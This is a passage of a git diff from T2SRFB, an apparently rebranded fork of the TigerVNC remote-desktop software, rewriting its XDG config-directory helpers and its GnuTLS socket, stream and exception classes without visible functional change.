-#include -#include -#include -#include -#include -#include -#else -#include -#include /* MinGW needs it */ -#include -#define stat _stat -#define mkdir(path, mode) mkdir(path) -#endif - -#include - -static const char* getvncdir(bool userDir, const char *xdg_env, const char *xdg_def) -{ - static char dir[PATH_MAX], legacy[PATH_MAX]; - struct stat st; - -#ifndef WIN32 - char *homedir, *xdgdir; - uid_t uid; - struct passwd *passwd; -#else - BOOL ret; -#endif - -#ifndef WIN32 - homedir = getenv("HOME"); - if (homedir == nullptr) { - uid = getuid(); - passwd = getpwuid(uid); - if (passwd == nullptr) { - /* Do we want emit error msg here? */ - return nullptr; - } - homedir = passwd->pw_dir; - } - - if (userDir) - return homedir; - - xdgdir = getenv(xdg_env); - if (xdgdir != nullptr && xdgdir[0] == '/') - snprintf(dir, sizeof(dir), "%s/tigervnc", xdgdir); - else - snprintf(dir, sizeof(dir), "%s/%s/tigervnc", homedir, xdg_def); - - snprintf(legacy, sizeof(legacy), "%s/.vnc", homedir); -#else - (void) xdg_def; - (void) xdg_env; - - if (userDir) - ret = SHGetSpecialFolderPath(nullptr, dir, CSIDL_PROFILE, FALSE); - else - ret = SHGetSpecialFolderPath(nullptr, dir, CSIDL_APPDATA, FALSE); - - if (ret == FALSE) - return nullptr; - - if (userDir) - return dir; - - ret = SHGetSpecialFolderPath(nullptr, legacy, CSIDL_APPDATA, FALSE); - - if (ret == FALSE) - return nullptr; - - if (strlen(dir) + strlen("\\T2SRFBVNC") >= sizeof(dir)) - return nullptr; - if (strlen(legacy) + strlen("\\vnc") >= sizeof(legacy)) - return nullptr; - - strcat(dir, "\\T2SRFBVNC"); - strcat(legacy, "\\vnc"); -#endif - return (stat(dir, &st) != 0 && stat(legacy, &st) == 0) ? legacy : dir; -} - -const char* core::getuserhomedir() -{ - return getvncdir(true, nullptr, nullptr); -} - -const char* core::getvncconfigdir() -{ - return getvncdir(false, "XDG_CONFIG_HOME", ".config"); -} - -const char* core::getvncdatadir() -{ - return getvncdir(false, "XDG_DATA_HOME", ".local/share"); -} - -const char* core::getvncstatedir() -{ - return getvncdir(false, "XDG_STATE_HOME", ".local/state"); -} - -int core::mkdir_p(const char *path_, mode_t mode) -{ - char *path = strdup(path_); - char *p; - -#ifdef WIN32 - (void)mode; -#endif - - for (p = path + 1; *p; p++) { - if (*p == '/') { - *p = '\0'; - if (mkdir(path, mode) == -1) { - if (errno != EEXIST) { - free(path); - return -1; - } - } - *p = '/'; - } - } - - if (mkdir(path, mode) == -1) { - free(path); - return -1; - } - - free(path); - - return 0; -} +/* Copyright (C) 2010 TightVNC Team. All Rights Reserved. + * Copyright 2021-2023 Pierre Ossman for Cendio AB + * + * This is free software; you can redistribute it and/or modify + * it under the terms of the GNU General Public License as published by + * the Free Software Foundation; either version 2 of the License, or + * (at your option) any later version. + * + * This software is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + * GNU General Public License for more details. + * + * You should have received a copy of the GNU General Public License + * along with this software; if not, write to the Free Software + * Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, + * USA. + */ + +#ifdef HAVE_CONFIG_H +#include +#endif + +#include +#include +#include +#include + +#ifndef WIN32 +#include +#include +#include +#include +#include +#include +#else +#include +#include /* MinGW needs it */ +#include +#define stat _stat +#define mkdir(path, mode) mkdir(path) +#endif + +#include + +static const char* getvncdir(bool userDir, const char *xdg_env, const char *xdg_def) +{ + static char dir[PATH_MAX], legacy[PATH_MAX]; + struct stat st; + +#ifndef WIN32 + char *homedir, *xdgdir; + uid_t uid; + struct passwd *passwd; +#else + BOOL ret; +#endif + +#ifndef WIN32 + homedir = getenv("HOME"); + if (homedir == nullptr) { + uid = getuid(); + passwd = getpwuid(uid); + if (passwd == nullptr) { + /* Do we want emit error msg here? */ + return nullptr; + } + homedir = passwd->pw_dir; + } + + if (userDir) + return homedir; + + xdgdir = getenv(xdg_env); + if (xdgdir != nullptr && xdgdir[0] == '/') + snprintf(dir, sizeof(dir), "%s/tigervnc", xdgdir); + else + snprintf(dir, sizeof(dir), "%s/%s/tigervnc", homedir, xdg_def); + + snprintf(legacy, sizeof(legacy), "%s/.vnc", homedir); +#else + (void) xdg_def; + (void) xdg_env; + + if (userDir) + ret = SHGetSpecialFolderPath(nullptr, dir, CSIDL_PROFILE, FALSE); + else + ret = SHGetSpecialFolderPath(nullptr, dir, CSIDL_APPDATA, FALSE); + + if (ret == FALSE) + return nullptr; + + if (userDir) + return dir; + + ret = SHGetSpecialFolderPath(nullptr, legacy, CSIDL_APPDATA, FALSE); + + if (ret == FALSE) + return nullptr; + + if (strlen(dir) + strlen("\\T2SRFBVNC") >= sizeof(dir)) + return nullptr; + if (strlen(legacy) + strlen("\\vnc") >= sizeof(legacy)) + return nullptr; + + strcat(dir, "\\T2SRFBVNC"); + strcat(legacy, "\\vnc"); +#endif + return (stat(dir, &st) != 0 && stat(legacy, &st) == 0) ? legacy : dir; +} + +const char* core::getuserhomedir() +{ + return getvncdir(true, nullptr, nullptr); +} + +const char* core::getvncconfigdir() +{ + return getvncdir(false, "XDG_CONFIG_HOME", ".config"); +} + +const char* core::getvncdatadir() +{ + return getvncdir(false, "XDG_DATA_HOME", ".local/share"); +} + +const char* core::getvncstatedir() +{ + return getvncdir(false, "XDG_STATE_HOME", ".local/state"); +} + +int core::mkdir_p(const char *path_, mode_t mode) +{ + char *path = strdup(path_); + char *p; + +#ifdef WIN32 + (void)mode; +#endif + + for (p = path + 1; *p; p++) { + if (*p == '/') { + *p = '\0'; + if (mkdir(path, mode) == -1) { + if (errno != EEXIST) { + free(path); + return -1; + } + } + *p = '/'; + } + } + + if (mkdir(path, mode) == -1) { + free(path); + return -1; + } + + free(path); + + return 0; +} diff --git a/T2SRFB/common/core/xdgdirs.h b/T2SRFB/common/core/xdgdirs.h index 1b786ed..d35071a 100644 --- a/T2SRFB/common/core/xdgdirs.h +++ b/T2SRFB/common/core/xdgdirs.h @@ -1,74 +1,74 @@ -/* Copyright (C) 2010 TightVNC Team. All Rights Reserved. - * Copyright 2021-2023 Pierre Ossman for Cendio AB - * - * This is free software; you can redistribute it and/or modify - * it under the terms of the GNU General Public License as published by - * the Free Software Foundation; either version 2 of the License, or - * (at your option) any later version. - * - * This software is distributed in the hope that it will be useful, - * but WITHOUT ANY WARRANTY; without even the implied warranty of - * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the - * GNU General Public License for more details. - * - * You should have received a copy of the GNU General Public License - * along with this software; if not, write to the Free Software - * Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, - * USA. - */ - -#ifndef CORE_XDGDIRS_H -#define CORE_XDGDIRS_H - -#include - -namespace core { - - /* - * Get user home directory. - * If HOME environment variable is set then it is used. - * Otherwise home directory is obtained via getpwuid function. - * - * Returns NULL on failure. - */ - const char* getuserhomedir(); - - /* - * Get VNC config directory. On Unix-like systems, this is either: - * - $XDG_CONFIG_HOME/tigervnc - * - $HOME/.config/tigervnc - * On Windows, this is simply %APPDATA%/T2SRFBVNC/. - * - * Returns NULL on failure. - */ - const char* getvncconfigdir(); - - /* - * Get VNC data directory used for X.509 known hosts. - * On Unix-like systems, this is either: - * - $XDG_DATA_HOME/tigervnc - * - $HOME/.local/share/tigervnc - * On Windows, this is simply %APPDATA%/T2SRFBVNC/. - * - * Returns NULL on failure. - */ - const char* getvncdatadir(); - - /* - * Get VNC state (logs) directory. On Unix-like systems, this is either: - * - $XDG_STATE_HOME/tigervnc - * - $HOME/.local/state/tigervnc - * On Windows, this is simply %APPDATA%/T2SRFBVNC/. - * - * Returns NULL on failure. - */ - const char* getvncstatedir(); - - /* - * Create directory recursively. Useful to create the nested directory - * structures needed for the above directories. - */ - int mkdir_p(const char *path, mode_t mode); -} - -#endif /* CORE_XDGDIRS_H */ +/* Copyright (C) 2010 TightVNC Team. All Rights Reserved. + * Copyright 2021-2023 Pierre Ossman for Cendio AB + * + * This is free software; you can redistribute it and/or modify + * it under the terms of the GNU General Public License as published by + * the Free Software Foundation; either version 2 of the License, or + * (at your option) any later version. + * + * This software is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + * GNU General Public License for more details. + * + * You should have received a copy of the GNU General Public License + * along with this software; if not, write to the Free Software + * Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, + * USA. + */ + +#ifndef CORE_XDGDIRS_H +#define CORE_XDGDIRS_H + +#include + +namespace core { + + /* + * Get user home directory. + * If HOME environment variable is set then it is used. + * Otherwise home directory is obtained via getpwuid function. + * + * Returns NULL on failure. + */ + const char* getuserhomedir(); + + /* + * Get VNC config directory. On Unix-like systems, this is either: + * - $XDG_CONFIG_HOME/tigervnc + * - $HOME/.config/tigervnc + * On Windows, this is simply %APPDATA%/T2SRFBVNC/. + * + * Returns NULL on failure. + */ + const char* getvncconfigdir(); + + /* + * Get VNC data directory used for X.509 known hosts. + * On Unix-like systems, this is either: + * - $XDG_DATA_HOME/tigervnc + * - $HOME/.local/share/tigervnc + * On Windows, this is simply %APPDATA%/T2SRFBVNC/. + * + * Returns NULL on failure. + */ + const char* getvncdatadir(); + + /* + * Get VNC state (logs) directory. On Unix-like systems, this is either: + * - $XDG_STATE_HOME/tigervnc + * - $HOME/.local/state/tigervnc + * On Windows, this is simply %APPDATA%/T2SRFBVNC/. + * + * Returns NULL on failure. + */ + const char* getvncstatedir(); + + /* + * Create directory recursively. Useful to create the nested directory + * structures needed for the above directories. + */ + int mkdir_p(const char *path, mode_t mode); +} + +#endif /* CORE_XDGDIRS_H */ diff --git a/T2SRFB/common/rdr/TLSException.cxx b/T2SRFB/common/rdr/TLSException.cxx index 76aa142..d4e88b4 100644 --- a/T2SRFB/common/rdr/TLSException.cxx +++ b/T2SRFB/common/rdr/TLSException.cxx @@ -1,62 +1,62 @@ -/* - * Copyright (C) 2004 Red Hat Inc. - * Copyright (C) 2010 T2SRFBVNC Team - * - * This is free software; you can redistribute it and/or modify - * it under the terms of the GNU General Public License as published by - * the Free Software Foundation; either version 2 of the License, or - * (at your option) any later version. - * - * This software is distributed in the hope that it will be useful, - * but WITHOUT ANY WARRANTY; without even the implied warranty of - * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the - * GNU General Public License for more details. - * - * You should have received a copy of the GNU General Public License - * along with this software; if not, write to the Free Software - * Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, - * USA. - */ - -#ifdef HAVE_CONFIG_H -#include -#endif - -#include - -#include - -#include -#include -#ifdef HAVE_GNUTLS -#include -#endif - -using namespace rdr; - -#ifdef HAVE_GNUTLS -tls_error::tls_error(const char* s, int err_, int alert_) noexcept - : std::runtime_error(core::format("%s: %s (%d)", s, - strerror(err_, alert_), err_)), - err(err_), alert(alert_) -{ -} - -const char* tls_error::strerror(int err_, int alert_) const noexcept -{ - const char* msg; - - msg = nullptr; - - if ((alert_ != -1) && - ((err_ == GNUTLS_E_WARNING_ALERT_RECEIVED) || - (err_ == GNUTLS_E_FATAL_ALERT_RECEIVED))) - msg = gnutls_alert_get_name((gnutls_alert_description_t)alert_); - - if (msg == nullptr) - msg = gnutls_strerror(err_); - - return msg; -} -#endif /* HAVE_GNUTLS */ - +/* + * Copyright (C) 2004 Red Hat Inc. + * Copyright (C) 2010 T2SRFBVNC Team + * + * This is free software; you can redistribute it and/or modify + * it under the terms of the GNU General Public License as published by + * the Free Software Foundation; either version 2 of the License, or + * (at your option) any later version. + * + * This software is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + * GNU General Public License for more details. + * + * You should have received a copy of the GNU General Public License + * along with this software; if not, write to the Free Software + * Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, + * USA. + */ + +#ifdef HAVE_CONFIG_H +#include +#endif + +#include + +#include + +#include +#include +#ifdef HAVE_GNUTLS +#include +#endif + +using namespace rdr; + +#ifdef HAVE_GNUTLS +tls_error::tls_error(const char* s, int err_, int alert_) noexcept + : std::runtime_error(core::format("%s: %s (%d)", s, + strerror(err_, alert_), err_)), + err(err_), alert(alert_) +{ +} + +const char* tls_error::strerror(int err_, int alert_) const noexcept +{ + const char* msg; + + msg = nullptr; + + if ((alert_ != -1) && + ((err_ == GNUTLS_E_WARNING_ALERT_RECEIVED) || + (err_ == GNUTLS_E_FATAL_ALERT_RECEIVED))) + msg = gnutls_alert_get_name((gnutls_alert_description_t)alert_); + + if (msg == nullptr) + msg = gnutls_strerror(err_); + + return msg; +} +#endif /* HAVE_GNUTLS */ + diff --git a/T2SRFB/common/rdr/TLSException.h b/T2SRFB/common/rdr/TLSException.h index 2631c04..6ff8a56 100644 --- a/T2SRFB/common/rdr/TLSException.h +++ b/T2SRFB/common/rdr/TLSException.h @@ -1,38 +1,38 @@ -/* - * Copyright (C) 2004 Red Hat Inc. - * Copyright (C) 2010 T2SRFBVNC Team - * - * This is free software; you can redistribute it and/or modify - * it under the terms of the GNU General Public License as published by - * the Free Software Foundation; either version 2 of the License, or - * (at your option) any later version. - * - * This software is distributed in the hope that it will be useful, - * but WITHOUT ANY WARRANTY; without even the implied warranty of - * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the - * GNU General Public License for more details. - * - * You should have received a copy of the GNU General Public License - * along with this software; if not, write to the Free Software - * Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, - * USA. - */ - -#ifndef __RDR_TLSEXCEPTION_H__ -#define __RDR_TLSEXCEPTION_H__ - -#include - -namespace rdr { - - class tls_error : public std::runtime_error { - public: - int err, alert; - tls_error(const char* s, int err_, int alert_=-1) noexcept; - private: - const char* strerror(int err_, int alert_) const noexcept; - }; - -} - -#endif +/* + * Copyright (C) 2004 Red Hat Inc. + * Copyright (C) 2010 T2SRFBVNC Team + * + * This is free software; you can redistribute it and/or modify + * it under the terms of the GNU General Public License as published by + * the Free Software Foundation; either version 2 of the License, or + * (at your option) any later version. + * + * This software is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + * GNU General Public License for more details. + * + * You should have received a copy of the GNU General Public License + * along with this software; if not, write to the Free Software + * Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, + * USA. + */ + +#ifndef __RDR_TLSEXCEPTION_H__ +#define __RDR_TLSEXCEPTION_H__ + +#include + +namespace rdr { + + class tls_error : public std::runtime_error { + public: + int err, alert; + tls_error(const char* s, int err_, int alert_=-1) noexcept; + private: + const char* strerror(int err_, int alert_) const noexcept; + }; + +} + +#endif diff --git a/T2SRFB/common/rdr/TLSInStream.cxx b/T2SRFB/common/rdr/TLSInStream.cxx index 5e5c67c..a3d4e1e 100644 --- a/T2SRFB/common/rdr/TLSInStream.cxx +++ b/T2SRFB/common/rdr/TLSInStream.cxx @@ -1,52 +1,52 @@ -/* Copyright (C) 2002-2005 RealVNC Ltd. All Rights Reserved. - * Copyright (C) 2005 Martin Koegler - * Copyright (C) 2010 T2SRFBVNC Team - * Copyright 2012-2025 Pierre Ossman for Cendio AB - * - * This is free software; you can redistribute it and/or modify - * it under the terms of the GNU General Public License as published by - * the Free Software Foundation; either version 2 of the License, or - * (at your option) any later version. - * - * This software is distributed in the hope that it will be useful, - * but WITHOUT ANY WARRANTY; without even the implied warranty of - * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the - * GNU General Public License for more details. - * - * You should have received a copy of the GNU General Public License - * along with this software; if not, write to the Free Software - * Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, - * USA. - */ - -#ifdef HAVE_CONFIG_H -#include -#endif - -#include -#include - -#ifdef HAVE_GNUTLS - -using namespace rdr; - -TLSInStream::TLSInStream(TLSSocket* sock_) - : sock(sock_) -{ -} - -TLSInStream::~TLSInStream() -{ -} - -bool TLSInStream::fillBuffer() -{ - size_t n = sock->readTLS((uint8_t*) end, availSpace()); - if (n == 0) - return false; - end += n; - - return true; -} - -#endif +/* Copyright (C) 2002-2005 RealVNC Ltd. All Rights Reserved. + * Copyright (C) 2005 Martin Koegler + * Copyright (C) 2010 T2SRFBVNC Team + * Copyright 2012-2025 Pierre Ossman for Cendio AB + * + * This is free software; you can redistribute it and/or modify + * it under the terms of the GNU General Public License as published by + * the Free Software Foundation; either version 2 of the License, or + * (at your option) any later version. + * + * This software is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + * GNU General Public License for more details. + * + * You should have received a copy of the GNU General Public License + * along with this software; if not, write to the Free Software + * Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, + * USA. + */ + +#ifdef HAVE_CONFIG_H +#include +#endif + +#include +#include + +#ifdef HAVE_GNUTLS + +using namespace rdr; + +TLSInStream::TLSInStream(TLSSocket* sock_) + : sock(sock_) +{ +} + +TLSInStream::~TLSInStream() +{ +} + +bool TLSInStream::fillBuffer() +{ + size_t n = sock->readTLS((uint8_t*) end, availSpace()); + if (n == 0) + return false; + end += n; + + return true; +} + +#endif diff --git a/T2SRFB/common/rdr/TLSInStream.h b/T2SRFB/common/rdr/TLSInStream.h index e90fcf0..7e22a09 100644 --- a/T2SRFB/common/rdr/TLSInStream.h +++ b/T2SRFB/common/rdr/TLSInStream.h @@ -1,47 +1,47 @@ -/* Copyright (C) 2005 Martin Koegler - * Copyright (C) 2010 T2SRFBVNC Team - * Copyright 2012-2025 Pierre Ossman for Cendio AB - * - * This is free software; you can redistribute it and/or modify - * it under the terms of the GNU General Public License as published by - * the Free Software Foundation; either version 2 of the License, or - * (at your option) any later version. - * - * This software is distributed in the hope that it will be useful, - * but WITHOUT ANY WARRANTY; without even the implied warranty of - * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the - * GNU General Public License for more details. - * - * You should have received a copy of the GNU General Public License - * along with this software; if not, write to the Free Software - * Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, - * USA. - */ - -#ifndef __RDR_TLSINSTREAM_H__ -#define __RDR_TLSINSTREAM_H__ - -#ifdef HAVE_GNUTLS - -#include - -namespace rdr { - - class TLSSocket; - - class TLSInStream : public BufferedInStream { - public: - TLSInStream(TLSSocket* sock); - virtual ~TLSInStream(); - - private: - bool fillBuffer() override; - - TLSSocket* sock; - }; - -} - -#endif - -#endif +/* Copyright (C) 2005 Martin Koegler + * Copyright (C) 2010 T2SRFBVNC Team + * Copyright 2012-2025 Pierre Ossman for Cendio AB + * + * This is free software; you can redistribute it and/or modify + * it under the terms of the GNU General Public License as published by + * the Free Software Foundation; either version 2 of the License, or + * (at your option) any later version. + * + * This software is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + * GNU General Public License for more details. + * + * You should have received a copy of the GNU General Public License + * along with this software; if not, write to the Free Software + * Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, + * USA. + */ + +#ifndef __RDR_TLSINSTREAM_H__ +#define __RDR_TLSINSTREAM_H__ + +#ifdef HAVE_GNUTLS + +#include + +namespace rdr { + + class TLSSocket; + + class TLSInStream : public BufferedInStream { + public: + TLSInStream(TLSSocket* sock); + virtual ~TLSInStream(); + + private: + bool fillBuffer() override; + + TLSSocket* sock; + }; + +} + +#endif + +#endif diff --git a/T2SRFB/common/rdr/TLSOutStream.cxx b/T2SRFB/common/rdr/TLSOutStream.cxx index 7f4d695..61b5342 100644 --- a/T2SRFB/common/rdr/TLSOutStream.cxx +++ b/T2SRFB/common/rdr/TLSOutStream.cxx @@ -1,64 +1,64 @@ -/* Copyright (C) 2002-2005 RealVNC Ltd. All Rights Reserved. - * Copyright (C) 2005 Martin Koegler - * Copyright (C) 2010 T2SRFBVNC Team - * Copyright 2012-2025 Pierre Ossman for Cendio AB - * - * This is free software; you can redistribute it and/or modify - * it under the terms of the GNU General Public License as published by - * the Free Software Foundation; either version 2 of the License, or - * (at your option) any later version. - * - * This software is distributed in the hope that it will be useful, - * but WITHOUT ANY WARRANTY; without even the implied warranty of - * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the - * GNU General Public License for more details. - * - * You should have received a copy of the GNU General Public License - * along with this software; if not, write to the Free Software - * Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, - * USA. - */ - -#ifdef HAVE_CONFIG_H -#include -#endif - -#include -#include - -#ifdef HAVE_GNUTLS - -using namespace rdr; - -TLSOutStream::TLSOutStream(TLSSocket* sock_) - : sock(sock_) -{ -} - -TLSOutStream::~TLSOutStream() -{ -} - -void TLSOutStream::flush() -{ - BufferedOutStream::flush(); - sock->out->flush(); -} - -void TLSOutStream::cork(bool enable) -{ - BufferedOutStream::cork(enable); - sock->out->cork(enable); -} - -bool TLSOutStream::flushBuffer() -{ - while (sentUpTo < ptr) { - size_t n = sock->writeTLS(sentUpTo, ptr - sentUpTo); - sentUpTo += n; - } - - return true; -} - -#endif +/* Copyright (C) 2002-2005 RealVNC Ltd. All Rights Reserved. + * Copyright (C) 2005 Martin Koegler + * Copyright (C) 2010 T2SRFBVNC Team + * Copyright 2012-2025 Pierre Ossman for Cendio AB + * + * This is free software; you can redistribute it and/or modify + * it under the terms of the GNU General Public License as published by + * the Free Software Foundation; either version 2 of the License, or + * (at your option) any later version. + * + * This software is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + * GNU General Public License for more details. + * + * You should have received a copy of the GNU General Public License + * along with this software; if not, write to the Free Software + * Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, + * USA. + */ + +#ifdef HAVE_CONFIG_H +#include +#endif + +#include +#include + +#ifdef HAVE_GNUTLS + +using namespace rdr; + +TLSOutStream::TLSOutStream(TLSSocket* sock_) + : sock(sock_) +{ +} + +TLSOutStream::~TLSOutStream() +{ +} + +void TLSOutStream::flush() +{ + BufferedOutStream::flush(); + sock->out->flush(); +} + +void TLSOutStream::cork(bool enable) +{ + BufferedOutStream::cork(enable); + sock->out->cork(enable); +} + +bool TLSOutStream::flushBuffer() +{ + while (sentUpTo < ptr) { + size_t n = sock->writeTLS(sentUpTo, ptr - sentUpTo); + sentUpTo += n; + } + + return true; +} + +#endif diff --git a/T2SRFB/common/rdr/TLSOutStream.h b/T2SRFB/common/rdr/TLSOutStream.h index dfbf1d2..20b9409 100644 --- a/T2SRFB/common/rdr/TLSOutStream.h +++ b/T2SRFB/common/rdr/TLSOutStream.h @@ -1,49 +1,49 @@ -/* Copyright (C) 2005 Martin Koegler - * Copyright (C) 2010 T2SRFBVNC Team - * - * This is free software; you can redistribute it and/or modify - * it under the terms of the GNU General Public License as published by - * the Free Software Foundation; either version 2 of the License, or - * (at your option) any later version. - * - * This software is distributed in the hope that it will be useful, - * but WITHOUT ANY WARRANTY; without even the implied warranty of - * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the - * GNU General Public License for more details. - * - * You should have received a copy of the GNU General Public License - * along with this software; if not, write to the Free Software - * Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, - * USA. - */ - -#ifndef __RDR_TLSOUTSTREAM_H__ -#define __RDR_TLSOUTSTREAM_H__ - -#ifdef HAVE_GNUTLS - -#include - -namespace rdr { - - class TLSSocket; - - class TLSOutStream : public BufferedOutStream { - public: - TLSOutStream(TLSSocket* out); - virtual ~TLSOutStream(); - - void flush() override; - void cork(bool enable) override; - - private: - bool flushBuffer() override; - - TLSSocket* sock; - }; - -} - -#endif - -#endif +/* Copyright (C) 2005 Martin Koegler + * Copyright (C) 2010 T2SRFBVNC Team + * + * This is free software; you can redistribute it and/or modify + * it under the terms of the GNU General Public License as published by + * the Free Software Foundation; either version 2 of the License, or + * (at your option) any later version. + * + * This software is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + * GNU General Public License for more details. + * + * You should have received a copy of the GNU General Public License + * along with this software; if not, write to the Free Software + * Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, + * USA. + */ + +#ifndef __RDR_TLSOUTSTREAM_H__ +#define __RDR_TLSOUTSTREAM_H__ + +#ifdef HAVE_GNUTLS + +#include + +namespace rdr { + + class TLSSocket; + + class TLSOutStream : public BufferedOutStream { + public: + TLSOutStream(TLSSocket* out); + virtual ~TLSOutStream(); + + void flush() override; + void cork(bool enable) override; + + private: + bool flushBuffer() override; + + TLSSocket* sock; + }; + +} + +#endif + +#endif diff --git a/T2SRFB/common/rdr/TLSSocket.cxx b/T2SRFB/common/rdr/TLSSocket.cxx index 78daa54..08a0c48 100644 --- a/T2SRFB/common/rdr/TLSSocket.cxx +++ b/T2SRFB/common/rdr/TLSSocket.cxx @@ -1,228 +1,228 @@ -/* Copyright (C) 2002-2005 RealVNC Ltd. All Rights Reserved. - * Copyright (C) 2005 Martin Koegler - * Copyright (C) 2010 T2SRFBVNC Team - * Copyright (C) 2012-2025 Pierre Ossman for Cendio AB - * - * This is free software; you can redistribute it and/or modify - * it under the terms of the GNU General Public License as published by - * the Free Software Foundation; either version 2 of the License, or - * (at your option) any later version. - * - * This software is distributed in the hope that it will be useful, - * but WITHOUT ANY WARRANTY; without even the implied warranty of - * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the - * GNU General Public License for more details. - * - * You should have received a copy of the GNU General Public License - * along with this software; if not, write to the Free Software - * Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, - * USA. - */ - -#ifdef HAVE_CONFIG_H -#include -#endif - -#include -#include - -#include -#include -#include -#include - -#include - -#ifdef HAVE_GNUTLS - -using namespace rdr; - -static core::LogWriter vlog("TLSSocket"); - -TLSSocket::TLSSocket(InStream* in_, OutStream* out_, - gnutls_session_t session_) - : session(session_), in(in_), out(out_), tlsin(this), tlsout(this) -{ - gnutls_transport_set_pull_function( - session, [](gnutls_transport_ptr_t sock, void* data, size_t size) { - return ((TLSSocket*)sock)->pull(data, size); - }); - gnutls_transport_set_push_function( - session, [](gnutls_transport_ptr_t sock, const void* data, size_t size) { - return ((TLSSocket*)sock)->push(data, size); - }); - gnutls_transport_set_ptr(session, this); -} - -TLSSocket::~TLSSocket() -{ - gnutls_transport_set_pull_function(session, nullptr); - gnutls_transport_set_push_function(session, nullptr); - gnutls_transport_set_ptr(session, nullptr); -} - -bool TLSSocket::handshake() -{ - int err; - - err = gnutls_handshake(session); - if (err != GNUTLS_E_SUCCESS) { - gnutls_alert_description_t alert; - const char* msg; - - if ((err == GNUTLS_E_PULL_ERROR) || (err == GNUTLS_E_PUSH_ERROR)) - std::rethrow_exception(saved_exception); - - alert = gnutls_alert_get(session); - msg = nullptr; - - if ((err == GNUTLS_E_WARNING_ALERT_RECEIVED) || - (err == GNUTLS_E_FATAL_ALERT_RECEIVED)) - msg = gnutls_alert_get_name(alert); - - if (msg == nullptr) - msg = gnutls_strerror(err); - - if (!gnutls_error_is_fatal(err)) { - vlog.debug("Deferring completion of TLS handshake: %s", msg); - return false; - } - - vlog.error("TLS Handshake failed: %s\n", msg); - gnutls_alert_send_appropriate(session, err); - throw rdr::tls_error("TLS Handshake failed", err, alert); - } - - return true; -} - -void TLSSocket::shutdown() -{ - int ret; - - try { - if (tlsout.hasBufferedData()) { - tlsout.cork(false); - tlsout.flush(); - if (tlsout.hasBufferedData()) - vlog.error("Failed to flush remaining socket data on close"); - } - } catch (std::exception& e) { - vlog.error("Failed to flush remaining socket data on close: %s", e.what()); - } - - // FIXME: We can't currently wait for the response, so we only send - // our close and hope for the best - ret = gnutls_bye(session, GNUTLS_SHUT_WR); - if ((ret != GNUTLS_E_SUCCESS) && (ret != GNUTLS_E_INVALID_SESSION)) - vlog.error("TLS shutdown failed: %s", gnutls_strerror(ret)); -} - -size_t TLSSocket::readTLS(uint8_t* buf, size_t len) -{ - int n; - - while (true) { - streamEmpty = false; - n = gnutls_record_recv(session, (void *) buf, len); - if (n == GNUTLS_E_INTERRUPTED || n == GNUTLS_E_AGAIN) { - // GnuTLS returns GNUTLS_E_AGAIN for a bunch of other scenarios - // other than the pull function returning EAGAIN, so we have to - // double check that the underlying stream really is empty - if (!streamEmpty) - continue; - else - return 0; - } - break; - }; - - if (n == GNUTLS_E_PULL_ERROR) - std::rethrow_exception(saved_exception); - - if (n < 0) { - gnutls_alert_send_appropriate(session, n); - throw tls_error("readTLS", n, gnutls_alert_get(session)); - } - - if (n == 0) - throw end_of_stream(); - - return n; -} - -size_t TLSSocket::writeTLS(const uint8_t* data, size_t length) -{ - int n; - - n = gnutls_record_send(session, data, length); - if (n == GNUTLS_E_INTERRUPTED || n == GNUTLS_E_AGAIN) - return 0; - - if (n == GNUTLS_E_PUSH_ERROR) - std::rethrow_exception(saved_exception); - - if (n < 0) { - gnutls_alert_send_appropriate(session, n); - throw tls_error("writeTLS", n, gnutls_alert_get(session)); - } - - return n; -} - -ssize_t TLSSocket::pull(void* data, size_t size) -{ - streamEmpty = false; - saved_exception = nullptr; - - try { - if (!in->hasData(1)) { - streamEmpty = true; - gnutls_transport_set_errno(session, EAGAIN); - return -1; - } - - if (in->avail() < size) - size = in->avail(); - - in->readBytes((uint8_t*)data, size); - } catch (end_of_stream&) { 